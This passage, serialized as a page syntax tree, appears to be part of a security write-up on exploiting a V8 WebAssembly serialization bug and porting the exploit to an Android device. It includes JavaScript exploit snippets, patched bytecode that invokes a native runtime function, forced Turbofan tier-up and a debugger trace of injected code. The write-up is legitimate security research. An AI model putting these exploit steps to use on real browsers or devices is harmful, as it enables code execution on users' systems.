,137569,137573,137577,137581,137585,137589,137593,137597,137601,137605,137609,137613,137617,137621,137625,137629,137633,137637,137641,137645,137649,137653,137657,137661,137665,137669,137673,137677,137681,137686,137690,137694],{"type":23,"tag":504,"props":137482,"children":137483},{"style":5083},[137484],{"type":29,"value":135976},{"type":23,"tag":504,"props":137486,"children":137487},{"style":5058},[137488],{"type":29,"value":4367},{"type":23,"tag":504,"props":137490,"children":137491},{"style":5083},[137492],{"type":29,"value":708},{"type":23,"tag":504,"props":137494,"children":137495},{"style":5058},[137496],{"type":29,"value":4367},{"type":23,"tag":504,"props":137498,"children":137499},{"style":5083},[137500],{"type":29,"value":708},{"type":23,"tag":504,"props":137502,"children":137503},{"style":5058},[137504],{"type":29,"value":4367},{"type":23,"tag":504,"props":137506,"children":137507},{"style":5083},[137508],{"type":29,"value":708},{"type":23,"tag":504,"props":137510,"children":137511},{"style":5058},[137512],{"type":29,"value":4367},{"type":23,"tag":504,"props":137514,"children":137515},{"style":5083},[137516],{"type":29,"value":708},{"type":23,"tag":504,"props":137518,"children":137519},{"style":5058},[137520],{"type":29,"value":4367},{"type":23,"tag":504,"props":137522,"children":137523},{"style":5083},[137524],{"type":29,"value":708},{"type":23,"tag":504,"props":137526,"children":137527},{"style":5058},[137528],{"type":29,"value":4367},{"type":23,"tag":504,"props":137530,"children":137531},{"style":5083},[137532],{"type":29,"value":708},{"type":23,"tag":504,"props":137534,"children":137535},{"style":5058},[137536],{"type":29,"value":4367},{"type":23,"tag":504,"props":137538,"children":137539},{"style":5083},[137540],{"type":29,"value":708},{"type":23,"tag":504,"props":137542,"children":137543},{"style":5058},[137544],{"type":29,"value":4367},{"type":23,"tag":504,"props":137546,"children":137547},{"style":5083},[137548],{"type":29,"value":708},{"type":23,"tag":504,"props":137550,"children":137551},{"style":5058},[137552],{"type":29,"value":4367},{"type":23,"tag":504,"props":137554,"children":137555},{"style":5083},[137556],{"type":29,"value":708},{"type":23,"tag":504,"props":137558,"children":137559},{"style":5058},[137560],{"type":29,"value":4367},{"type":23,"tag":504,"props":137562,"children":137563},{"style":5083},[137564],{"type":29,"value":708},{"type":23,"tag":504,"props":137566,"children":137567},{"style":5058},[137568],{"type":29,"value":4367},{"type":23,"tag":504,"props":137570,"children":137571},{"style":5083},[137572],{"type":29,"value":708},{"type":23,"tag":504,"props":137574,"children":137575},{"style":5058},[137576],{"type":29,"value":4367},{"type":23,"tag":504,"props":137578,"children":137579},{"style":5083},[137580],{"type":29,"value":708},{"type":23,"tag":504,"props":137582,"children":137583},{"style":5058},[137584],{"type":29,"value":4367},{"type":23,"tag":504,"props":137586,"children":137587},{"style":5083},[137588],{"type":29,"value":708},{"type":23,"tag":504,"props":137590,"children":137591},{"style":5058},[137592],{"type":29,"value":4367},{"type":23,"tag":504,"props":137594,"children":137595},{"style":5083},[137596],{"type":29,"value":708},{"type":23,"tag":504,"props":137598,"children":137599},{"style":5058},[137600],{"type":29,"value":4367},{"type":23,"tag":504,"props":137602,"children":137603},{"style":5083},[137604],{"type":29,"value":708},{"type":23,"tag":504,"props":137606,"children":137607},{"style":5058},[137608],{"type":29,"value":4367},{"type":23,"tag":504,"props":137610,"children":137611},{"style":5083},[137612],{"type":29,"value":708},{"type":23,"tag":504,"props":137614,"children":137615},{"style":5058},[137616],{"type":29,"value":4367},{"type":23,"tag":504,"props":137618,"children":137619},{"style":5083},[137620],{"type":29,"value":708},{"type":23,"tag":504,"props":137622,"children":137623},{"style":5058},[137624],{"type":29,"value":4367},{"type":23,"tag":504,"props":137626,"children":137627},{"style":5083},[137628],{"type":29,"value":708},{"type":23,"tag":504,"props":137630,"children":137631},{"style":5058},[137632],{"type":29,"value":4367},{"type":23,"tag":504,"props":137634,"children":137635},{"style":5083},[137636],{"type":29,"value":708},{"type":23,"tag":504,"props":137638,"children":137639},{"style":5058},[137640],{"type":29,"value":4367},{"type":23,"tag":504,"props":137642,"children":137643},{"style":5083},[137644],{"type":29,"value":708},{"type":23,"tag":504,"props":137646,"children":137647},{"style":5058},[137648],{"type":29,"value":4367},{"type":23,"tag":504,"props":137650,"children":137651},{"style":5083},[137652],{"type":29,"value":708},{"type":23,"tag":504,"props":137654,"children":137655},{"style":5058},[137656],{"type":29,"value":4367},{"type":23,"tag":504,"props":137658,"children":137659},{"style":5083},[137660],{"type":29,"value":708},{"type":23,"tag":504,"props":137662,"children":137663},{"style":5058},[137664],{"type":29,"value":4367},{"type":23,"tag":504,"props":137666,"children":137667},{"style":5083},[137668],{"type":29,"value":31477},{"type":23,"tag":504,"props":137670,"children":137671},{"style":5058},[137672],{"type":29,"value":4367},{"type":23,"tag":504,"props":137674,"children":137675},{"style":5083},[137676],{"type":29,"value":137229},{"type":23,"tag":504,"props":137678,"children":137679},{"style":5058},[137680],{"type":29,"value":4367},{"type":23,"tag":504,"props":137682,"children":137683},{"style":5083},[137684],{"type":29,"value":137685},"198",{"type":23,"tag":504,"props":137687,"children":137688},{"style":5058},[137689],{"type":29,"value":4367},{"type":23,"tag":504,"props":137691,"children":137692},{"style":5083},[137693],{"type":29,"value":708},{"type":23,"tag":504,"props":137695,"children":137696},{"style":5058},[137697],{"type":29,"value":5557},{"type":23,"tag":504,"props":137699,"children":137700},{"class":5016,"line":5666},[137701],{"type":23,"tag":504,"props":137702,"children":137703},{"style":5058},[137704],{"type":29,"value":136263},{"type":23,"tag":504,"props":137706,"children":137707},{"class":5016,"line":5683},[137708,137712,137717,137721,137726,137730,137734,137738,137742,137746,137750],{"type":23,"tag":504,"props":137709,"children":137710},{"style":5030},[137711],{"type":29,"value":9900},{"type":23,"tag":504,"props":137713,"children":137714},{"style":5041},[137715],{"type":29,"value":137716}," r",{"type":23,"tag":504,"props":137718,"children":137719},{"style":5047},[137720],{"type":29,"value":5050},{"type":23,"tag":504,"props":137722,"children":137723},{"style":5139},[137724],{"type":29,"value":137725}," bug",{"type":23,"tag":504,"props":137727,"children":137728},{"style":5058},[137729],{"type":29,"value":603},{"type":23,"tag":504,"props":137731,"children":137732},{"style":5041},[137733],{"type":29,"value":135594},{"type":23,"tag":504,"props":137735,"children":137736},{"style":5058},[137737],{"type":29,"value":4367},{"type":23,"tag":504,"props":137739,"children":137740},{"style":5041},[137741],{"type":29,"value":126921},{"type":23,"tag":504,"props":137743,"children":137744},{"style":5058},[137745],{"type":29,"value":357},{"type":23,"tag":504,"props":137747,"children":137748},{"style":5041},[137749],{"type":29,"value":126921},{"type":23,"tag":504,"props":137751,"children":137752},{"style":5058},[137753],{"type":29,"value":5888},{"type":23,"tag":504,"props":137755,"children":137756},{"class":5016,"line":5696},[137757,137762,137766,137770,137774,137778,137782,137786,137791,137795],{"type":23,"tag":504,"props":137758,"children":137759},{"style":5041},[137760],{"type":29,"value":137761},"  result",{"type":23,"tag":504,"props":137763,"children":137764},{"style":5047},[137765],{"type":29,"value":5050},{"type":23,"tag":504,"props":137767,"children":137768},{"style":5058},[137769],{"type":29,"value":5110},{"type":23,"tag":504,"props":137771,"children":137772},{"style":5067},[137773],{"type":29,"value":34972},{"type":23,"tag":504,"props":137775,"children":137776},{"style":5041},[137777],{"type":29,"value":137716},{"type":23,"tag":504,"props":137779,"children":137780},{"style":5058},[137781],{"type":29,"value":357},{"type":23,"tag":504,"props":137783,"children":137784},{"style":5139},[137785],{"type":29,"value":59626},{"type":23,"tag":504,"props":137787,"children":137788},{"style":5058},[137789],{"type":29,"value":137790},"()).",{"type":23,"tag":504,"props":137792,"children":137793},{"style":5041},[137794],{"type":29,"value":41208},{"type":23,"tag":504,"props":137796,"children":137797},{"style":5058},[137798],{"type":29,"value":5061},{"type":23,"tag":504,"props":137800,"children":137801},{"class":5016,"line":5705},[137802,137806,137811,137815,137819,137823,137827,137831,137835,137839],{"type":23,"tag":504,"props":137803,"children":137804},{"style":5030},[137805],{"type":29,"value":38245},{"type":23,"tag":504,"props":137807,"children":137808},{"style":5041},[137809],{"type":29,"value":137810}," wasm_instance",{"type":23,"tag":504,"props":137812,"children":137813},{"style":5047},[137814],{"type":29,"value":5050},{"type":23,"tag":504,"props":137816,"children":137817},{"style":5030},[137818],{"type":29,"value":33988},{"type":23,"tag":504,"props":137820,"children":137821},{"style":5041},[137822],{"type":29,"value":135577},{"type":23,"tag":504,"props":137824,"children":137825},{"style":5058},[137826],{"type":29,"value":357},{"type":23,"tag":504,"props":137828,"children":137829},{"style":5139},[137830],{"type":29,"value":135631},{"type":23,"tag":504,"props":137832,"children":137833},{"style":5058},[137834],{"type":29,"value":603},{"type":23,"tag":504,"props":137836,"children":137837},{"style":5041},[137838],{"type":29,"value":11129},{"type":23,"tag":504,"props":137840,"children":137841},{"style":5058},[137842],{"type":29,"value":5888},{"type":23,"tag":504,"props":137844,"children":137845},{"class":5016,"line":5728},[137846,137850,137854,137858,137862,137866,137870,137874,137878],{"type":23,"tag":504,"props":137847,"children":137848},{"style":5030},[137849],{"type":29,"value":38245},{"type":23,"tag":504,"props":137851,"children":137852},{"style":5041},[137853],{"type":29,"value":35027},{"type":23,"tag":504,"props":137855,"children":137856},{"style":5047},[137857],{"type":29,"value":5050},{"type":23,"tag":504,"props":137859,"children":137860},{"style":5041},[137861],{"type":29,"value":137810},{"type":23,"tag":504,"props":137863,"children":137864},{"style":5058},[137865],{"type":29,"value":357},{"type":23,"tag":504,"props":137867,"children":137868},{"style":5041},[137869],{"type":29,"value":39942},{"type":23,"tag":504,"props":137871,"children":137872},{"style":5058},[137873],{"type":29,"value":357},{"type":23,"tag":504,"props":137875,"children":137876},{"style":5041},[137877],{"type":29,"value":135680},{"type":23,"tag":504,"props":137879,"children":137880},{"style":5058},[137881],{"type":29,"value":5061},{"type":23,"tag":504,"props":137883,"children":137884},{"class":5016,"line":5737},[137885,137890],{"type":23,"tag":504,"props":137886,"children":137887},{"style":5139},[137888],{"type":29,"value":137889},"  f",{"type":23,"tag":504,"props":137891,"children":137892},{"style":5058},[137893],{"type":29,"value":5725},{"type":23,"tag":504,"props":137895,"children":137896},{"class":5016,"line":5746},[137897],{"type":23,"tag":504,"props":137898,"children":137899},{"style":5058},[137900],{"type":29,"value":103764},{"type":23,"tag":32,"props":137902,"children":137903},{},[137904],{"type":29,"value":137905},"Running this in a debugger shows the expected breakpoint:",{"type":23,"tag":4743,"props":137907,"children":137909},{"code":137908},"Thread 1 \"d8\" received signal SIGTRAP, Trace/breakpoint trap.\n0x00002ae46bfc1841 in ?? ()\n────────────────────────────────────────────────────────────────────────────\n   0x2ae46bfc183c                  add    BYTE PTR [rax], al\n   0x2ae46bfc183e                  add    BYTE PTR [rax], al\n   0x2ae46bfc1840                  int3\n → 0x2ae46bfc1841                  mov    rbp, rsp\n",[137910],{"type":23,"tag":154,"props":137911,"children":137912},{"__ignoreMap":7},[137913],{"type":29,"value":137908},{"type":23,"tag":320,"props":137915,"children":137917},{"id":137916},"porting-to-android",[137918],{"type":29,"value":137919},"Porting to Android",{"type":23,"tag":32,"props":137921,"children":137922},{},[137923,137925,137930,137932,137937,137939,137944,137946,137952],{"type":29,"value":137924},"The serialized x86-64 code can’t be used on the device because the architecture differs, and ",{"type":23,"tag":154,"props":137926,"children":137928},{"className":137927},[],[137929],{"type":29,"value":134709},{"type":29,"value":137931}," fails. We cross-compiled ",{"type":23,"tag":154,"props":137933,"children":137935},{"className":137934},[],[137936],{"type":29,"value":133868},{"type":29,"value":137938}," for arm64 and serialized the module there, but this still didn’t work on the device and ",{"type":23,"tag":154,"props":137940,"children":137942},{"className":137941},[],[137943],{"type":29,"value":134709},{"type":29,"value":137945}," returned ",{"type":23,"tag":154,"props":137947,"children":137949},{"className":137948},[],[137950],{"type":29,"value":137951},"undefined",{"type":29,"value":357},{"type":23,"tag":32,"props":137954,"children":137955},{},[137956,137958,137963,137965,137970],{"type":29,"value":137957},"Instead, we modified the bytecode to call ",{"type":23,"tag":154,"props":137959,"children":137961},{"className":137960},[],[137962],{"type":29,"value":134735},{"type":29,"value":137964}," directly on the device. The idea is to serialize the code on the device and then feed the resulting bytes back into the original bytecode that calls ",{"type":23,"tag":154,"props":137966,"children":137968},{"className":137967},[],[137969],{"type":29,"value":134709},{"type":29,"value":357},{"type":23,"tag":4743,"props":137972,"children":137974},{"code":137973,"language":37672,"meta":7,"className":37670,"style":7},"try {\n  ${'a1 + 0xa931111;'.repeat(0x059301 - 1)}\n  a1 + 0x03027a6c;\n  throw 0x393e71a;\n} catch (e) {\n  console.log(\"foo\");\n  yield a16;\n}\n",[137975],{"type":23,"tag":154,"props":137976,"children":137977},{"__ignoreMap":7},[137978,137989,138033,138053,138069,138092,138119,138134],{"type":23,"tag":504,"props":137979,"children":137980},{"class":5016,"line":5017},[137981,137985],{"type":23,"tag":504,"props":137982,"children":137983},{"style":5067},[137984],{"type":29,"value":50394},{"type":23,"tag":504,"props":137986,"children":137987},{"style":5058},[137988],{"type":29,"value":5333},{"type":23,"tag":504,"props":137990,"children":137991},{"class":5016,"line":4868},[137992,137996,138000,138004,138008,138012,138016,138021,138025,138029],{"type":23,"tag":504,"props":137993,"children":137994},{"style":5041},[137995],{"type":29,"value":134976},{"type":23,"tag":504,"props":137997,"children":137998},{"style":5058},[137999],{"type":29,"value":78683},{"type":23,"tag":504,"props":138001,"children":138002},{"style":6297},[138003],{"type":29,"value":134985},{"type":23,"tag":504,"props":138005,"children":138006},{"style":5058},[138007],{"type":29,"value":357},{"type":23,"tag":504,"props":138009,"children":138010},{"style":5139},[138011],{"type":29,"value":134994},{"type":23,"tag":504,"props":138013,"children":138014},{"style":5058},[138015],{"type":29,"value":603},{"type":23,"tag":504,"props":138017,"children":138018},{"style":5083},[138019],{"type":29,"value":138020},"0x059301",{"type":23,"tag":504,"props":138022,"children":138023},{"style":5047},[138024],{"type":29,"value":53317},{"type":23,"tag":504,"props":138026,"children":138027},{"style":5083},[138028],{"type":29,"value":6565},{"type":23,"tag":504,"props":138030,"children":138031},{"style":5058},[138032],{"type":29,"value":135016},{"type":23,"tag":504,"props":138034,"children":138035},{"class":5016,"line":4876},[138036,138040,138044,138049],{"type":23,"tag":504,"props":138037,"children":138038},{"style":5041},[138039],{"type":29,"value":135024},{"type":23,"tag":504,"props":138041,"children":138042},{"style":5047},[138043],{"type":29,"value":10950},{"type":23,"tag":504,"props":138045,"children":138046},{"style":5083},[138047],{"type":29,"value":138048}," 0x03027a6c",{"type":23,"tag":504,"props":138050,"children":138051},{"style":5058},[138052],{"type":29,"value":5061},{"type":23,"tag":504,"props":138054,"children":138055},{"class":5016,"line":5099},[138056,138060,138065],{"type":23,"tag":504,"props":138057,"children":138058},{"style":5067},[138059],{"type":29,"value":37258},{"type":23,"tag":504,"props":138061,"children":138062},{"style":5083},[138063],{"type":29,"value":138064}," 0x393e71a",{"type":23,"tag":504,"props":138066,"children":138067},{"style":5058},[138068],{"type":29,"value":5061},{"type":23,"tag":504,"props":138070,"children":138071},{"class":5016,"line":5203},[138072,138076,138080,138084,138088],{"type":23,"tag":504,"props":138073,"children":138074},{"style":5058},[138075],{"type":29,"value":48936},{"type":23,"tag":504,"props":138077,"children":138078},{"style":5067},[138079],{"type":29,"value":50474},{"type":23,"tag":504,"props":138081,"children":138082},{"style":5058},[138083],{"type":29,"value":5110},{"type":23,"tag":504,"props":138085,"children":138086},{"style":5041},[138087],{"type":29,"value":1132},{"type":23,"tag":504,"props":138089,"children":138090},{"style":5058},[138091],{"type":29,"value":16850},{"type":23,"tag":504,"props":138093,"children":138094},{"class":5016,"line":5308},[138095,138099,138103,138107,138111,138115],{"type":23,"tag":504,"props":138096,"children":138097},{"style":5041},[138098],{"type":29,"value":103723},{"type":23,"tag":504,"props":138100,"children":138101},{"style":5058},[138102],{"type":29,"value":357},{"type":23,"tag":504,"props":138104,"children":138105},{"style":5139},[138106],{"type":29,"value":103732},{"type":23,"tag":504,"props":138108,"children":138109},{"style":5058},[138110],{"type":29,"value":603},{"type":23,"tag":504,"props":138112,"children":138113},{"style":6297},[138114],{"type":29,"value":135100},{"type":23,"tag":504,"props":138116,"children":138117},{"style":5058},[138118],{"type":29,"value":5888},{"type":23,"tag":504,"props":138120,"children":138121},{"class":5016,"line":5336},[138122,138126,138130],{"type":23,"tag":504,"props":138123,"children":138124},{"style":5067},[138125],{"type":29,"value":135112},{"type":23,"tag":504,"props":138127,"children":138128},{"style":5041},[138129],{"type":29,"value":135117},{"type":23,"tag":504,"props":138131,"children":138132},{"style":5058},[138133],{"type":29,"value":5061},{"type":23,"tag":504,"props":138135,"children":138136},{"class":5016,"line":5349},[138137],{"type":23,"tag":504,"props":138138,"children":138139},{"style":5058},[138140],{"type":29,"value":5965},{"type":23,"tag":32,"props":138142,"children":138143},{},[138144,138146,138152,138154,138160,138162,138168,138170,138175,138177,138183,138185,138190,138191,138197],{"type":29,"value":138145},"Here, ",{"type":23,"tag":154,"props":138147,"children":138149},{"className":138148},[],[138150],{"type":29,"value":138151},"a1 + 0x03027a6c",{"type":29,"value":138153}," generates the bytes ",{"type":23,"tag":154,"props":138155,"children":138157},{"className":138156},[],[138158],{"type":29,"value":138159},"01 4b 6c 7a 02 03",{"type":29,"value":138161},", where ",{"type":23,"tag":154,"props":138163,"children":138165},{"className":138164},[],[138166],{"type":29,"value":138167},"0x6c",{"type":29,"value":138169}," is the ",{"type":23,"tag":154,"props":138171,"children":138173},{"className":138172},[],[138174],{"type":29,"value":134693},{"type":29,"value":138176}," opcode, ",{"type":23,"tag":154,"props":138178,"children":138180},{"className":138179},[],[138181],{"type":29,"value":138182},"0x027a",{"type":29,"value":138184}," is the function ID of ",{"type":23,"tag":154,"props":138186,"children":138188},{"className":138187},[],[138189],{"type":29,"value":134735},{"type":29,"value":4375},{"type":23,"tag":154,"props":138192,"children":138194},{"className":138193},[],[138195],{"type":29,"value":138196},"0x03",{"type":29,"value":138198}," is the register index holding its first argument.",{"type":23,"tag":32,"props":138200,"children":138201},{},[138202,138204,138209,138210,138215,138217,138222],{"type":29,"value":138203},"Our earlier javascript snippet that serialized the wasm module used two native calls: ",{"type":23,"tag":154,"props":138205,"children":138207},{"className":138206},[],[138208],{"type":29,"value":134735},{"type":29,"value":4478},{"type":23,"tag":154,"props":138211,"children":138213},{"className":138212},[],[138214],{"type":29,"value":135703},{"type":29,"value":138216},". To avoid patching the bytecode again to invoke ",{"type":23,"tag":154,"props":138218,"children":138220},{"className":138219},[],[138221],{"type":29,"value":135703},{"type":29,"value":138223},", we can force Turbofan to compile the target function like this:",{"type":23,"tag":4743,"props":138225,"children":138227},{"code":138226,"language":37672,"meta":7,"className":37670,"style":7},"// %WasmTierUpFunction(func);\nfor (let i = 0; i \u003C 0x100000; i++) {\n  func();\n}\n",[138228],{"type":23,"tag":154,"props":138229,"children":138230},{"__ignoreMap":7},[138231,138239,138299,138311],{"type":23,"tag":504,"props":138232,"children":138233},{"class":5016,"line":5017},[138234],{"type":23,"tag":504,"props":138235,"children":138236},{"style":5021},[138237],{"type":29,"value":138238},"// %WasmTierUpFunction(func);\n",{"type":23,"tag":504,"props":138240,"children":138241},{"class":5016,"line":4868},[138242,138246,138250,138254,138258,138262,138266,138270,138274,138278,138283,138287,138291,138295],{"type":23,"tag":504,"props":138243,"children":138244},{"style":5067},[138245],{"type":29,"value":5441},{"type":23,"tag":504,"props":138247,"children":138248},{"style":5058},[138249],{"type":29,"value":5110},{"type":23,"tag":504,"props":138251,"children":138252},{"style":5030},[138253],{"type":29,"value":13833},{"type":23,"tag":504,"props":138255,"children":138256},{"style":5041},[138257],{"type":29,"value":5446},{"type":23,"tag":504,"props":138259,"children":138260},{"style":5047},[138261],{"type":29,"value":5050},{"type":23,"tag":504,"props":138263,"children":138264},{"style":5083},[138265],{"type":29,"value":5086},{"type":23,"tag":504,"props":138267,"children":138268},{"style":5058},[138269],{"type":29,"value":19275},{"type":23,"tag":504,"props":138271,"children":138272},{"style":5041},[138273],{"type":29,"value":578},{"type":23,"tag":504,"props":138275,"children":138276},{"style":5047},[138277],{"type":29,"value":10764},{"type":23,"tag":504,"props":138279,"children":138280},{"style":5083},[138281],{"type":29,"value":138282}," 0x100000",{"type":23,"tag":504,"props":138284,"children":138285},{"style":5058},[138286],{"type":29,"value":19275},{"type":23,"tag":504,"props":138288,"children":138289},{"style":5041},[138290],{"type":29,"value":578},{"type":23,"tag":504,"props":138292,"children":138293},{"style":5047},[138294],{"type":29,"value":53331},{"type":23,"tag":504,"props":138296,"children":138297},{"style":5058},[138298],{"type":29,"value":16850},{"type":23,"tag":504,"props":138300,"children":138301},{"class":5016,"line":4876},[138302,138307],{"type":23,"tag":504,"props":138303,"children":138304},{"style":5139},[138305],{"type":29,"value":138306},"  func",{"type":23,"tag":504,"props":138308,"children":138309},{"style":5058},[138310],{"type":29,"value":5725},{"type":23,"tag":504,"props":138312,"children":138313},{"class":5016,"line":5099},[138314],{"type":23,"tag":504,"props":138315,"children":138316},{"style":5058},[138317],{"type":29,"value":5965},{"type":23,"tag":32,"props":138319,"children":138320},{},[138321],{"type":29,"value":138322},"Finally, running this code on the device:",{"type":23,"tag":4743,"props":138324,"children":138326},{"code":138325,"language":37672,"meta":7,"className":37670,"style":7},"(async () => {\n  var wasm_code = new Uint8Array([\n    0, 97, 115, 109, 1, 0, 0, 0, 1, 4, 1, 96, 0, 0, 3, 2, 1, 0, 7, 9, 1, 5, 115, 104, 101, 108, 108,\n    0, 0, 10, 4, 1, 2, 0, 11,\n  ]);\n  var mod = new WebAssembly.Module(wasm_code);\n  var inst = new WebAssembly.Instance(mod);\n  var func = inst.exports.shell;\n\n  // %WasmTierUpFunction(func);\n  for (let i = 0; i \u003C 0x100000; i++) {\n    func();\n  }\n\n  let r = bug(mod);\n  result = (await r.next()).value;\n  console.log(result);\n\n  let result_bytes = new Uint8Array(result);\n  console.log('[' + result_bytes.join(', ') + ']');\n})();\n",[138327],{"type":23,"tag":154,"props":138328,"children":138329},{"__ignoreMap":7},[138330,138353,138381,138600,138667,138674,138717,138760,138799,138806,138814,138874,138886,138893,138900,138931,138974,139001,139008,139044,139107],{"type":23,"tag":504,"props":138331,"children":138332},{"class":5016,"line":5017},[138333,138337,138341,138345,138349],{"type":23,"tag":504,"props":138334,"children":138335},{"style":5058},[138336],{"type":29,"value":603},{"type":23,"tag":504,"props":138338,"children":138339},{"style":5030},[138340],{"type":29,"value":38202},{"type":23,"tag":504,"props":138342,"children":138343},{"style":5058},[138344],{"type":29,"value":41753},{"type":23,"tag":504,"props":138346,"children":138347},{"style":5030},[138348],{"type":29,"value":16868},{"type":23,"tag":504,"props":138350,"children":138351},{"style":5058},[138352],{"type":29,"value":5333},{"type":23,"tag":504,"props":138354,"children":138355},{"class":5016,"line":4868},[138356,138361,138365,138369,138373,138377],{"type":23,"tag":504,"props":138357,"children":138358},{"style":5030},[138359],{"type":29,"value":138360},"  var",{"type":23,"tag":504,"props":138362,"children":138363},{"style":5041},[138364],{"type":29,"value":135233},{"type":23,"tag":504,"props":138366,"children":138367},{"style":5047},[138368],{"type":29,"value":5050},{"type":23,"tag":504,"props":138370,"children":138371},{"style":5030},[138372],{"type":29,"value":33988},{"type":23,"tag":504,"props":138374,"children":138375},{"style":5139},[138376],{"type":29,"value":135246},{"type":23,"tag":504,"props":138378,"children":138379},{"style":5058},[138380],{"type":29,"value":135251},{"type":23,"tag":504,"props":138382,"children":138383},{"class":5016,"line":4876},[138384,138388,138392,138396,138400,138404,138408,138412,138416,138420,138424,138428,138432,138436,138440,138444,138448,138452,138456,138460,138464,138468,138472,138476,138480,138484,138488,138492,138496,138500,138504,138508,138512,138516,138520,138524,138528,138532,138536,138540,138544,138548,138552,138556,138560,138564,138568,138572,138576,138580,138584,138588,138592,138596],{"type":23,"tag":504,"props":138385,"children":138386},{"style":5083},[138387],{"type":29,"value":135976},{"type":23,"tag":504,"props":138389,"children":138390},{"style":5058},[138391],{"type":29,"value":4367},{"type":23,"tag":504,"props":138393,"children":138394},{"style":5083},[138395],{"type":29,"value":135268},{"type":23,"tag":504,"props":138397,"children":138398},{"style":5058},[138399],{"type":29,"value":4367},{"type":23,"tag":504,"props":138401,"children":138402},{"style":5083},[138403],{"type":29,"value":135277},{"type":23,"tag":504,"props":138405,"children":138406},{"style":5058},[138407],{"type":29,"value":4367},{"type":23,"tag":504,"props":138409,"children":138410},{"style":5083},[138411],{"type":29,"value":135286},{"type":23,"tag":504,"props":138413,"children":138414},{"style":5058},[138415],{"type":29,"value":4367},{"type":23,"tag":504,"props":138417,"children":138418},{"style":5083},[138419],{"type":29,"value":826},{"type":23,"tag":504,"props":138421,"children":138422},{"style":5058},[138423],{"type":29,"value":4367},{"type":23,"tag":504,"props":138425,"children":138426},{"style":5083},[138427],{"type":29,"value":708},{"type":23,"tag":504,"props":138429,"children":138430},{"style":5058},[138431],{"type":29,"value":4367},{"type":23,"tag":504,"props":138433,"children":138434},{"style":5083},[138435],{"type":29,"value":708},{"type":23,"tag":504,"props":138437,"children":138438},{"style":5058},[138439],{"type":29,"value":4367},{"type":23,"tag":504,"props":138441,"children":138442},{"style":5083},[138443],{"type":29,"value":708},{"type":23,"tag":504,"props":138445,"children":138446},{"style":5058},[138447],{"type":29,"value":4367},{"type":23,"tag":504,"props":138449,"children":138450},{"style":5083},[138451],{"type":29,"value":826},{"type":23,"tag":504,"props":138453,"children":138454},{"style":5058},[138455],{"type":29,"value":4367},{"type":23,"tag":504,"props":138457,"children":138458},{"style":5083},[138459],{"type":29,"value":19577},{"type":23,"tag":504,"props":138461,"children":138462},{"style":5058},[138463],{"type":29,"value":4367},{"type":23,"tag":504,"props":138465,"children":138466},{"style":5083},[138467],{"type":29,"value":826},{"type":23,"tag":504,"props":138469,"children":138470},{"style":5058},[138471],{"type":29,"value":4367},{"type":23,"tag":504,"props":138473,"children":138474},{"style":5083},[138475],{"type":29,"value":135351},{"type":23,"tag":504,"props":138477,"children":138478},{"style":5058},[138479],{"type":29,"value":4367},{"type":23,"tag":504,"props":138481,"children":138482},{"style":5083},[138483],{"type":29,"value":708},{"type":23,"tag":504,"props":138485,"children":138486},{"style":5058},[138487],{"type":29,"value":4367},{"type":23,"tag":504,"props":138489,"children":138490},{"style":5083},[138491],{"type":29,"value":708},{"type":23,"tag":504,"props":138493,"children":138494},{"style":5058},[138495],{"type":29,"value":4367},{"type":23,"tag":504,"props":138497,"children":138498},{"style":5083},[138499],{"type":29,"value":19344},{"type":23,"tag":504,"props":138501,"children":138502},{"style":5058},[138503],{"type":29,"value":4367},{"type":23,"tag":504,"props":138505,"children":138506},{"style":5083},[138507],{"type":29,"value":5164},{"type":23,"tag":504,"props":138509,"children":138510},{"style":5058},[138511],{"type":29,"value":4367},{"type":23,"tag":504,"props":138513,"children":138514},{"style":5083},[138515],{"type":29,"value":826},{"type":23,"tag":504,"props":138517,"children":138518},{"style":5058},[138519],{"type":29,"value":4367},{"type":23,"tag":504,"props":138521,"children":138522},{"style":5083},[138523],{"type":29,"value":708},{"type":23,"tag":504,"props":138525,"children":138526},{"style":5058},[138527],{"type":29,"value":4367},{"type":23,"tag":504,"props":138529,"children":138530},{"style":5083},[138531],{"type":29,"value":56732},{"type":23,"tag":504,"props":138533,"children":138534},{"style":5058},[138535],{"type":29,"value":4367},{"type":23,"tag":504,"props":138537,"children":138538},{"style":5083},[138539],{"type":29,"value":57947},{"type":23,"tag":504,"props":138541,"children":138542},{"style":5058},[138543],{"type":29,"value":4367},{"type":23,"tag":504,"props":138545,"children":138546},{"style":5083},[138547],{"type":29,"value":826},{"type":23,"tag":504,"props":138549,"children":138550},{"style":5058},[138551],{"type":29,"value":4367},{"type":23,"tag":504,"props":138553,"children":138554},{"style":5083},[138555],{"type":29,"value":20158},{"type":23,"tag":504,"props":138557,"children":138558},{"style":5058},[138559],{"type":29,"value":4367},{"type":23,"tag":504,"props":138561,"children":138562},{"style":5083},[138563],{"type":29,"value":135277},{"type":23,"tag":504,"props":138565,"children":138566},{"style":5058},[138567],{"type":29,"value":4367},{"type":23,"tag":504,"props":138569,"children":138570},{"style":5083},[138571],{"type":29,"value":135448},{"type":23,"tag":504,"props":138573,"children":138574},{"style":5058},[138575],{"type":29,"value":4367},{"type":23,"tag":504,"props":138577,"children":138578},{"style":5083},[138579],{"type":29,"value":135457},{"type":23,"tag":504,"props":138581,"children":138582},{"style":5058},[138583],{"type":29,"value":4367},{"type":23,"tag":504,"props":138585,"children":138586},{"style":5083},[138587],{"type":29,"value":135466},{"type":23,"tag":504,"props":138589,"children":138590},{"style":5058},[138591],{"type":29,"value":4367},{"type":23,"tag":504,"props":138593,"children":138594},{"style":5083},[138595],{"type":29,"value":135466},{"type":23,"tag":504,"props":138597,"children":138598},{"style":5058},[138599],{"type":29,"value":5557},{"type":23,"tag":504,"props":138601,"children":138602},{"class":5016,"line":5099},[138603,138607,138611,138615,138619,138623,138627,138631,138635,138639,138643,138647,138651,138655,138659,138663],{"type":23,"tag":504,"props":138604,"children":138605},{"style":5083},[138606],{"type":29,"value":135976},{"type":23,"tag":504,"props":138608,"children":138609},{"style":5058},[138610],{"type":29,"value":4367},{"type":23,"tag":504,"props":138612,"children":138613},{"style":5083},[138614],{"type":29,"value":708},{"type":23,"tag":504,"props":138616,"children":138617},{"style":5058},[138618],{"type":29,"value":4367},{"type":23,"tag":504,"props":138620,"children":138621},{"style":5083},[138622],{"type":29,"value":91315},{"type":23,"tag":504,"props":138624,"children":138625},{"style":5058},[138626],{"type":29,"value":4367},{"type":23,"tag":504,"props":138628,"children":138629},{"style":5083},[138630],{"type":29,"value":19577},{"type":23,"tag":504,"props":138632,"children":138633},{"style":5058},[138634],{"type":29,"value":4367},{"type":23,"tag":504,"props":138636,"children":138637},{"style":5083},[138638],{"type":29,"value":826},{"type":23,"tag":504,"props":138640,"children":138641},{"style":5058},[138642],{"type":29,"